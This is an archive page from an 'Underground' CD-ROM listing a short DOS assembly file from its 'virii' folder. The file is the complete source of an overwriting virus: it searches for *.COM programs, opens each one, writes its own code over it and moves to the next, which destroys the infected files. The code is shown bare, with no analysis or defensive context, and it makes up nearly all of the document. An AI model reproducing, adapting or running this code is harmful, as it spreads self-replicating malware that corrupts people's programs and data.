home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / o / ow-42b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  538 b   |  20 lines
  1. Main:           Mov Ah,4eh
  2. On2:            Lea Dx,FileSpec
  3.                 Int 21h
  4.                 jc on1
  5.                 Mov Ax,3d02h
  6.                 Mov Dx,9eh
  7.                 Int 21h
  8.                 Mov bh,40h
  9.                 Mov Cl,Length
  10.                 Lea Dx,Main
  11.                 Xchg Ax,Bx
  12.                 Int 21h
  13.                 Mov Ah,3eh
  14.                 Int 21h
  15.                 Mov Ah,4fh
  16.                 Jmp On2
  17. On1:            Ret
  18. FileSpec        Db '*.COM',0
  19. Length          Equ $-Main
  20.